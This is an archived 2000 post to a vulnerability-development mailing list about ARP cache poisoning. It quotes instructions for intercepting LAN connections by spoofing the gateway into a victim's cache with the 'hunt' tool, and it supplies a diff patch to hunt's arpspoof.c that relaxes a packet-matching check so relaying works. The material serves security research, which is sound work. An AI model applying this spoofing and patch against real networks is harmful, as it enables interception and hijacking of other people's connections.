From: Granquist, Lamont [lamont@ICOPYRIGHT.COM] Sent: Thursday, February 03, 2000 11:16 AM To: VULN-DEV@SECURITYFOCUS.COM Subject: Re: More on ARP cache poisoning On Wed, 2 Feb 2000, Sebastian wrote: > Yea, this has been in use for like 3 years now, just grab hunt and ARP relay > external connections by ARP spoofing the gateway. There is no problem with > redirecting/relaying/denying any TCP connection within a switched/non-switched > LAN when there are no static ARP entries. Just ARP spoof the gateway address > into the victims cache and have ip forwarding enabled. You also need the following patch for hunt 1.3: --- arpspoof.c~ Sun Oct 3 10:16:35 1999 +++ arpspoof.c Sun Oct 3 10:16:58 1999 @@ -432,8 +432,8 @@ list_lock(&l_arp_spoof); list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { - if (p->p_iph->saddr == asi->dst_addr && - p->p_iph->daddr == asi->src_addr && + if (/* p->p_iph->saddr == asi->dst_addr && + p->p_iph->daddr == asi->src_addr && */ memcmp(p->p_ethh->h_source, asi->dst_mac, ETH_ALEN) == 0 && memcmp(p->p_ethh->h_dest, asi->src_fake_mac, ETH_ALEN) == 0) { packet_want(p); (if that doesn't apply you probably lost the tabs) I've also found that Cisco 2621s don't seem to accept the gratuitous ARPs that hunt sends out.